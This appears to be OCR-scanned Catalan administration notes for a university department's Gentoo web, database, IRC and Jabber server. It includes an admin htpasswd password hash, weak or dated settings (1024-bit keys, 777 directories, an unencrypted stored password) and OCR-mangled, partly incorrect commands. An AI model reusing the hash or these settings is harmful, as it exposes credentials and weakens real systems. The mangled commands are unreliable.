CRrEACIO CERCTIFICATS SSL PER APACHE

Percrearels certificatsdeim.crt/deim.keyal directori /etc/apache/conf/sséxecutem
des d'aquest directori:

openssl genrsa -out deim.key 1024 -days 9999
openssl req -new -key deim.key -x509 -out deim.crt -days 9999

DeNEGAR AcCESs A 1 DIRECTORI D'USUARI WEB PER |P

Com que a la configuraciod'apachetenim allowoverridelimit a la configuraciédel
directori dels usuaris,podenficar al directori que vulguin denegaraccésun arxiu
.htaccess amb el contingut:

<limit GET>
Order Deny, Allow
Deny from All
Allow from 127.0.0.1
</limit>

Aquest exemple només permet accés al directori des de 127.0.0.1.

IMPEDIR EL LLISTAT PER WEB A PARTIR D UN DIRECTORI

Creem al directori I'arxiu .htacces i que contingui:
<Limit OPTIONS>

Indexlignore *
</Limit>
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MySQL

L'usuariadministradode la basede dadeses“admin” i no “root” queesel queporta
per defecte,es una petita mesuramésde seguretatLes basesde dadeses trobenal
directori /var/lib/mysq|l.

InsTAL -LACIO DE PHPMYADMIN

Primerlinstal-lem“emergetesphpmyadmin”(fem emergetesper que agafil'dltima

versio 2.4.0). Seguidament editem “/etc/phpmyadmin/mysql-setup.sql” i canviem:
GRANT USAGE ON mysqgl.* TO 'pma'@'localhost’ IDENTIFIED BY
'12170265211794023044';

per
GRANT USAGE ON mysqgl.* TO 'pma'@'localhost’ IDENTIFIED BY
'PasswordQueVolemPerL'usuari_pma’;

Després executem:

mysgl -u admin -p < /etc/phpmyadmin/mysgl-setup.sql
Aixo0 crearal'usuaria la basede dadespmai la basede dadespmadb.L'usuaritindra
permisogperconsultadlesdadesde tots els altresusuaris(aixi els podraautentificar)i
tambétindra permisosper la sevabasede dades.Ara que ja estacreadala basede

dadesseriaconvenienperseguretaesborrarl passwordjuehemespecificamal arxiu
“/letc/phpmyadmin/mysql-setup.sql”.

Ara mouremel phpmyadmindel seu directori per defectea on tenim les pagines
segures:

mv /home/httpd/htdocs/phpmyadmin /home/httpd/shtml/mysqgl
Editem i configurem l'arxiu “config.inc.php”. Entre altres coses:
$cfg['PmaAbsoluteUri] = 'https://deim.etse.urv.es/mysql/’;
$cfg['Servers'][$i]['controlpass’] = 'PasswordDelUsuario_pma’

$cfg['Servers'][$i]['auth_type] = 'cookie';

Ara ja es pot accedir per https://deim.etse.urv.es/mysql.
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InsTALLACIO DE STUNNEL + ULtivate IRCp + Epona
SERVICES

Creem el grup ircd i 'usuari ircd sense acceés real al sistema (shell nula).

* STUNNEL

Instal-lemstunnelqueensserviraperqueel usuarispuguinaccediral servidord'irc de
forma encriptada fent un tunnel SSL amb stunnel des del client fins al servidor.

Client Servidor
connexio ---> localhost:6667 —[stunnel]--> deim:6667 ---> localhost:6668

Crearem el certificat stunnel.pem per crear les connexions SSL amb:
ebuild stunnel....ebuild unpack
cd /var/db.../stunnel
Jconfigure
make stunnel.pem
cp stunnel.pem /etc/stunnel
Li donarem permisos només a l'usuari ircd i el grup ircd:

chown -Rircd:ircd /etc/stunnel/
chmod 640 /etc/stunnel/stunnel .pem

Finalment, farem stunnel setuid amb l'usuari ircd.

chown ircd:ircd /usr/shin/stunnel

e UrLtivaTE IRCD

Ara la instal-lacio del servidor d'IRC, com no es troba al portage ho farem
manualmentel descomprimirema /usr/local (ens creara/usr/local/Ultimate2.8.5/),
editarem config/ircd.ini i crearem networks/deim.network a partir de
networks/template.network. Seguidament executarem:

Jconfigure
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| resoldrem les preguntes amb les seguents respostes:

Which compiler do you use, gcc or cc or...?
gcc

Enter additional flags to give to gcc:
-march=pentium3-O3 -fforce-addr-fomit-frame-pointer-funroll-loops -frerun-
cse-after-loop -frerun-loop-opt -falign-functions=4

If you needto useany extra libraries when compiling the server, pleasetell me
now...
-lcrypt -Iresolv (default)

| think you should use O_NONBLOCK, you want which of these ?
O_NONBLOCK (POSIX) O_NDELAY (BSD) FIONBIO (SYSV)
O_NONBLOCK (default)

Hmmm...I'mnot sureif signal()is reliableor not either...You canchoosebetween
posix, bsd and sysv. What'll it be ?
POSIX (default)

| found getrusageput of getrusageandtimes. getrusagas moreinformative. If
you wish to swap your choice, please do so now.
getrusage (default)

Do you haveaninsecureoperatingsystemandthereforewantto usethe serveranti-
spoof protection?
Yes (default)

Seeds...
[Introduim namero aleatori]
[Introduim un altre nimero aleatori]

What directory are all the server configuration files in?
/usr/local/Ultimate2.8.5/config

What is the explicit path to wherethe ircd binary will be installed? This should
point to a file, not a directory
lusr/local/Ultimate2.8.5/src/ircd

How long nicknames do you want to allow?
12

What domain do you want to consider local to your server?
deim.etse.urv.es
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Would you like clientslocal to the SERVERMACHINE to be able to use Unix

domain sockets?
No (default)

Do you use encrypted operator passwords?
Yes

Do you useencryptedncominglink passwords?N linesonly, C linesmustremain
unencrypted always)
Yes

What listen() backlog value do you wish to use?
5 (default)

How far back do you want to keep the nickname history?
500 (default)

What sendq length do you wish to have?
3000000 (default)

What size of a bufferpool (total of ALL sendq's in use) do you do you wish to have?
(6 * MAXSENDQLENGTH) (default)

How many file descriptors (or sockets) can the irc server use?
1024 (default)

| executem:
make

Ficarels arxiusirc.conf, irc.rulesi irc.motd queja teniemal config/. Aqui s'indicara
gue escolti pel port 6668, aquestserabloquejatper firewall perd a cadainici del
sistemas'executardstunnelper quefaci la connexiétal i com hemexplicata l'inici,
la comanda per I'stunnel és:

lusr/sbin/stunnel  -P /usr/local/ircd/ -p /etc/stunnel/stunnel.pem -d 6667 -r
deim.etse.urv.es. 6668

Per executar el servidor d'irc s'ha de ficar:

cd /usr/local/ircd
Jircd

Pera iniciar-ho tot s'hacreatun scriptd'inici a /etc/init.d/ircd,i s'hainsertata l'inici
del sistema amb “rc-update add ircd default”.

A la configuracioircd.conf tambées permetrala connexid del serveiseponaque
instal-larem a continuacio.
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* ErPoNA seERVICES (HTTP://www.EPONA.ORG/)

* Aquestserveisintrodueixenal servidor els Bots ChaN, NiCK, oPeR,MeMo, BoT

per facilitar I'administracié i per donar serveisals usuaris (registre de nicks,

canals...).

Dintre del directori d'Ultimate (/usr/local/Ultimate2.8.5/) descomprimir y executar:
Jconfigure

Resoldrem les preguntes amb les seglents de respostes:

In what directory do you want the binaries to be installed?
/usr/local/Ultimate2.8.5/services

Where do you want the data files to be installed?
lusr/local/Ultimate2.8.5/services

Which group should all Services data files be owned by?
ircd

What should the default umask for data files be (in octal)?
007 (default)

Which of the following is closest to the type of server on your IRC network?
4 (UltimatelRCd 2.8.2 or later)
Do you want to use the MD5 message-digest algorithm to encrypt passwords?

yes

If you are switching from another services...
no

Do you want to compile Epona with threading support?
no (default)

Després executem:

make
make install
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* PAssESs FINALS

No limitem els clons perircd, al servicessi ho fem pero fiqguem una excepciopel
deim.etse.urv.eamb el bot oPeR (comandaexception)i amb temps d'expiracio
ilimitat (+0), sino nomésespodranconectar2 amb stunnel.Recuperemes basesle
dades*.bd i el services.conf/services.mot@anviemel propietarii grup del directori
a on es troba tot l'ircd i els serveis:

chown -Rircd:ircd /usr/local/Ultimate2.8.5/
In -s/usr/local/Ultimate2.8.5/ /usr/local/ircd/

Femsetuidels serveisambl'usuariircd, perevitarques'executicomarooti siguiun
risk pel sistema:

cd /usr/local/Ultimate2.8.5/services
chmod 4750 services list*

Els serveis s'executaran amb:

cd /usr/local/ircd/services
Jservices

Perocomja heindicat,s'hacreatun script (/etc/init.d/ircd)ques'encarregdetot aixo
a l'arranc. Si per canviarla configuracio es necessarencriptarun passwordnou,
anirem al directori /usr/local/ircd/crypti compilarem:“gcc -I crypt -0 mkpasswd
mkpasswd.c”. Seguidamentexecutem el programa “./mkpasswd”, introduim el
password i ens mostrara la encriptacié corresponent.

A la propia planadel DEIM (http://deim.etse.urv.es/serveis/irc.phggxplicacom

conectar-sal servidord'irc. Per autentificar-secom administradorhem de ficar la

comandd‘/oper nick_del operadopassword”.Aquestosoperadors/administrad@s

defineixenal arxiu de configuracidircd.conf (les O-Lines). Peridentificar-nosamb

elsserveiss'hade fer “/msg nick identify password_del_nick_registraEsrecomana
visitar la planad'Ultimateircd (http://www.shadow-realm.orgf) consultarguiesper

internetsobreles comandesa utilitzar al irc. Perajudasobreels serveis‘/mg help

help”.
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INSTAL -LACIO DE JABBER SENSE TRANSPORTS

(per conflictes amb glibc-2.3.x)

Configurar accés només pel port 5223 (SSL). La configuracié es troba a
letc/jabber/simple.xmlPer generarel certificats s'utilitza I'script /etc/jabber/self-
cert.sh. En /var/spool/jabber es guarden els arxius dels usuaris.

Creeml'usuarijabberi el grupjabber.fem que/usr/sbin/jabbergertanyiaaquests el
fem setuid per evitar que s'executicom a root. A més haurade tindre permisos
d'escriptura al /var/spool/jabber.

L'administradoambjabberlD:admin@deim.etse.urv.egbratotselsnouseventsdel
servidor.Perconectar-semoméscal seguirlesinstruccionsde la propiaplanaweb del
deim: http://deim.etse.urv.es/serveis/jabber.php

InsTAL -LACIO GAP

(Programa de control de practiques de programacié via web)

Els passos a seguir per realitzar una instal-lacié de GAP sén:

Crear grup gap i usuari gap
Descomprimir el programa.
Executar instalar.sh i especificar:
Nom assig (e.g. Programacio 1)
Curs (e.g. 2002/2003)
Nom curt (e.g. PRI)
Curs curt (e.g. 0203)
Usuari (gap)
A on s'ubicara (e.g. /home/httpd/gap, crear abans, a més de gap/html i gap/cgi-bin)
Directori a protegir
Instal-lar

Canviarla configuraciod'apachesegonsndica el README de la aplicacio,de totes
formes en aquestmateix documenthe explicat quina configuracides necessaria
I'Apache pel funcionament d'aquest programa.

Seguidament canviarem els propietaris del programa amb:

chown -R gap: gap /home/httpd/gap
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Renombrem l'executable gap a gap.cgi:

mv /home/httpd/gap/cgi-bin/gap/XXX/gap -> /home/httpd/gap/cgi-bin/gap/ XXX/
gap.cgi

grsecurityno permetexecutara un usuariun programagueno li pertanyni aell ni a

root i que es trobi en un directori que tampoc li pertanyi a ell ni a root. Es per aixo que

hem de fer que el directori que conté gap.cgisigui propietatd'apache(usuarique
executara el cgi), de lo contrari grsecurity ens impedira la seva execucio:

chown apache /home/httpd/gap/cgi-bin/gap/XXX/

Creemun index.htmlal directoriinicial de gap per fer que redireccioniles peticions
cap al cgi, aixi els usuarisno tenenque escriureuna ruta excecivamentlarga per
accedir-hi, i fem un enllag simbolic des de shtml/.

Editem gap/gap/XXX/configuracion/inicio.html i canviem la fulla d'estils:

/gap.cs -> /gap/html/gap.css

Si cal canviarel passwordde I'administradorgue s’hade dir aixi “administrador’ho
podem fer manualmental arxiu “/home/httpd/gap/gap/XXXX/.htpasswd”. Per

generar el password es pot utilitzar la comanda “htpasswd”.

Finalment,per web entremi anema “Configuracién-> Global -> Directorio de
graficas” i canviem el que hi ha per /gap/html/graficas/gap.

Desd'aquestaplicaciéels professorgpodriencompilar les practiquesdels alumnes,
aguesta possibilitat no la oferim per 2 motius principals:

1.- El compiladorgnat adano funcionacorrectamentmb algunesversionsdel
patch grsecurity del kernel

2.- La rab mésimportant:compilari executarcodi entregatper alumnesal propi
servidor pot suposar un problema de seguretat.

Actuauitzacio GAP

Tornar a renombrar el cgi gap.cgi a gap:

mv /home/httpd/gap/cgi-bin/gap/XXX/gap.cgi -> /home/httpd/gap/cgi-
bin/gap/ XXX/ gap
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Descomprimir la nova versio i executem:
Jactualizar.sh

Indiguemla ubicaciédel programa(/home/httpd/gap) seguimles instruccionsl un
cop actualitzat, tornem a renombrar el CGI:

mv /home/httpd/gap/cgi-bin/gap/XXX/gap -> /home/httpd/gap/cgi-bin/gap/ XXX/
gap.cgi

InsTAL -LACIO DE PHPDIG

Cercadorphpdig 1.6.1, I'he dividit en 2 partsper fer que el menu d'administracio
s'accedeixi per SSL:
-A les common_words.txt he afegit paraules comunes catalanes i castellanes
-En les locales, he fet la traducci6 al catala: cat-language.php
-Configuracioda include/config.phpfem que no demanilogi perquéel passwordes
guarda sense encriptar
-La part del cercador general el figuem a html/ sense admin/
-La part d'administraciéadmin/ la figuem a shtml/cercari fiquem un .htaccess
htpasswd per la identificacié de I'administrador.
Arxiu .htaccess:
AuthName "Administracié PHPDig"
AuthUserFile /home/httpd/shtml/cercar/admin/.htpasswd
AuthType Basic
require valid-user
Arxiu .htpasswd (creat amb la comanda htpasswd):
admin:XZMIBfRe2vAlc

-Creen en el general un i copiem dintre: robot/debug_functions.php
-Copiem *.png al cercar de shtml
-Creem a html/cercar/admin el dir temp/ amb permissos 777
-Canviem a spider.php la linea 168:
$limit = SPIDER_DEFAULT_LIMIT;
Per poder executar des de la linea de comandes I'spider que indexara la web fem:
cd directori/cercar/admin; php -f spider.php help
-S'ha probat la indexacié de pdf's perd es massa lenta.
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INsTAL :LACIO DE PHPBB (F orUM)

Simplementbaixarl'tltima versidi mirar lesinstruccionsal docs/INSTALL.html. Al
final de la instal-laciétindrem unabasede dades‘phpbb” i un usuari“phpbb” amb
accés a aguesta. Actualment esta instal-lat a /home/httpd/shtml/forum
(https://deim.etse.urv.es/forum)amb SSL perqué els usuaris requereixen
identificacio. L'administradors'anomendadmin” i estaconfiguratper que existeixi
un forum privat per professor,aquellsque vulguin participar han de indicar el seu
login a I'administrador i aquest donar-li permisos.

PHPRroJexT

Aquestaaplicacio web per fer projectesen grup es troba en proves,els professors
PedroGarciai RobertRallo la estanevaluant.Actualmentno estrobapreparadger
seroferidacom un serveipublic. Utilitza la basede dades‘phprojekt” amb l'usuari
“phprojekt”. Té el directori uploads/amb permisd'escripturaper tothom, aixi els
usuaris de I'aplicacié poden pujar arxius.

(GENTOO: ADMINISTRACIO

e SISTEMA DE PAQUETS

El sistemade paquetde gentooescomposad'ebuilds.Els ebuildssénscriptsfets en
pythonque descarreguercompileni instal-lenel programaal que corresponguinA
més, si té dependéncietambéles descarreguesompilai instal-la. Tot el conjunt
d'ebuilds es troben guardats al Portage, aquest es troba a /usr/portage.

Peradministraraquestsistemade paquetss'utilitza la utilitat emerge(tambéfeta en
python). Les segtients instruccions sén les més utilitzades:

emerge rsync
Sincronitzael portage (llistat d'aplicacions/ebuildsamb l'oficial, s'ha de realitzar
aguesta acci6 habitualment

emerge -u --deep world
Comprovar tots els paquets instal-lats per actualitzar els que calgui.
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emerge -pu --deep world
Semprequeafegim“-p” no esrealitzarda accidoqueli diem,nomésfaraveurequela
realitza, aixi per exemple en aquest cas podrem veure quins paquets s'actualitzaran.

emerge -s paraula
Buscala paraulaal llistat de aplicacions serveix per sabersi existeix unaaplicacio
determinada al portage (e.g. emerge -s mozilla)

emerge aplicacio / emerge ebuild
Instal-la la aplicacio o ebuild indicat a més de les seves dependéncies.

emegre -p aplicacio

emerge -p xxx.ebuild
Comindiguem-p, no esproduirala instal-laciéreal sin6 guenomésvisualitzaraquins
paquets instal-lara.

emerge -C aplicacio
Desinstala una aplicacio.

emergetest [parametres]
emergeteseésun petit script que he realitzat,estrobaa /usr/local/bin/emergetestel
quefa escridar 'emergenormal passant-litots els parametregjue li indiguempero
ambla variabled'entornACCEPT_KEYWORDS="~x86"aix0 fara que perexemple
“emergemozilla” instal-larael mozilla establede la distribucioi “emergetesmozilla”
instal-lara la versié de mozilla que es considera encara inestable a la distribucio.

En aquestsistemade paquetshi ha uns directoris que se'ls anomenadirectoris
protegits,com per exemple/etc/. Aixo significa que si al realitzaruna actualitzacié
s'hade sobreescriur@in arxiu queestrobaa /etc/,no esfarai esguardaréen aquest
mateixdirectoriambunnomtipus._cfg0001_XXX(aon XXX seriael nomdel'arxiu

gue ha de substituir). Aixi s'evitaraque sobreescrivima nostraconfiguraciode les

aplicacions.Per substituir els nous arxius ._cfg... pel que corresponguies pot fer

manualment o utilitzant I'script “etc-update”.

¢ CONFIGURACIO DE LA COMPILACIO

La configuraciéperla compilaciédels programesstrobaa /etc/make.confAqui es
poden especificarels FLAGS per fer una compilacié optimitzada per la nostra
maquina, en el cas de la maquinadel deim ja té els flags correctes(s'utilitza
-march=pentium3n comptesde pentium4 per evitar algunsbugs que te la versio
actualdel gccambaquestaptimitzacié).A més,enaquestarxiu estrobala variable
USE, en aquestavariableindicaremquinescaracteristiquesolem que tinguin els
paquets que compilem, per exemple, si en aquesta variable es troba la paraula IMAP,
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al compilar PHP s'inclouraautomaticamenel suport per les funcions IMAP. Per
modificar aquestavariable es molt recomanableutilitzar I'eina “ufed”. Finalment
també podem trobar en aquestarxiu (/etc/make.conflels MIRRORS des d'on es
baixara els programes a instal-lar, com que la etse té un, també el tinc ficat.

* MANTENIMENT DEL CODI FONT BAIXAT

Les aplicacions que instal-lem es descarreguera /usr/portage/distfilesamb el
transcursdel tempses van acumulantdiferentsversionsde la mateixaaplicacié en
aquestdirectori, ocupantun espaiinnecessar{les versionsvellesja no les usarem).

Per aixd he afegit al sistemal'scrtip “distfiles-clean” que neteja aquestdirectori
d'aplicacionsvelles. Amb “distfiles-clean” ensmostraraun llistat de les aplicacions

gue esborraraj amb “distfiles-clean--nopretend”les esborrara.Si editem aquest
script(estrobaa /usr/local/sbinyeuremgueespodemincloureexcepciongacilment,

aixi aguestes aplicacions no les comprovara i no eshorrara les seves versions antigues.

e SISTEMA D'ARRANC

El sistemad'arranade gentooestamolt simplificat, elsarxiusqueespodenarrancares
trobena /etc/init.d/ i els runlevelsa /etc/runlevels,que com es pot observarestan
etiquetatgpernoms.El runlevelperdefecteesel 3 quecorresporal default.Perafegir
un scriptd'arrancd'undimoni al runleveldefaults'utilitzala comanddrc-updateadd
dimoni default”. Si esdesitjaexecutaralgunescomandesxtradesprége I'execucio
detots elsdimonis,espot especificara /etc/conf.d/local.startActualmentestrobaen
aguestarxiu lo necessarper realitzarunesoptimitzacionsal disc dur i lI'execuciode
I'script de firewall (/usr/local/sbin/firewall).

* SISTEMA DE PAQUETS ALTERNATIU

Pelsprogramegjueno estiguinal portagel s'hagind‘instal-larindividualmentutilitzo
el sistemade paquetsde I'slackwareque vaig instal-laral muntarel sistemaA més,
m'ajudoamb I'aplicacio checkinstallque construeixels paquetsper slackwaresense
gairesproblemes.Per tant, per instal-laruna aplicacié que no estigui al portagees
seguiraresinstruccionshabitualspercompilari al'horad'instal-larencomptesde fer
“make install” farem un “checkinstall” i contestaremles preguntesque ens fan
(indicant que volem que generiun paquetslackware).Aixd generarael paqueti
instal-lard'aplicaci6.Si la comandaperfer la instal-laciodel programano fos “make
install” siné “XXX”, doncs la instal-lariem fent “checkinstall XXX”.
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Peradministrarel sistemade paquetde slackwares'utilitzenels seguentscriptsfets
en bash: installpkg, removepkg,upgradepkg,explodepkgi pkgtool (aquestultim
funciona per menus).

e KERNEL

El kernelactualesel 2.4.20ambel patchgrsecurity(http://www.grsecurity.net/jjue
donamésseguretatl sistemafent per exemplequela pila dels programeso sigui
executable. La configuracio del kernel la podem trobar a “/usr/src/linux/deim-kernel”.

DIRECTORIS IMPORTANTS PER FER BACKUPS

letc
/home/chroot-web/
(usuaris amb les seves webs a més de la web principal que la té webmaster)
/home/httpd/gap
/home/httpd/gap-electronica
Ivar/lib/mysql
(Directori de la base de dades MySQL)
/usr/local/Ultimate2.8.5
(Directori del servidor d'IRC)
Ivar/spool
(Directori a on es guarden els mails i les dades dels usuaris de jabber)

ALTRES USUARIS DEL SISTEMA

Bios

Sistema
root
coadmin
webmaster
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MySQL

admin
webdeim
webdeimadmin
webmail

pma

phpbb
phprojekt

UltimatelRCd (operador /oper nick password)
admin

gap
administrador

gap-electronica
administrador

administracién web

admin

sgomez (Professor Sergio Gomez)
magarcia (Professor Miguel Angel Garcia)
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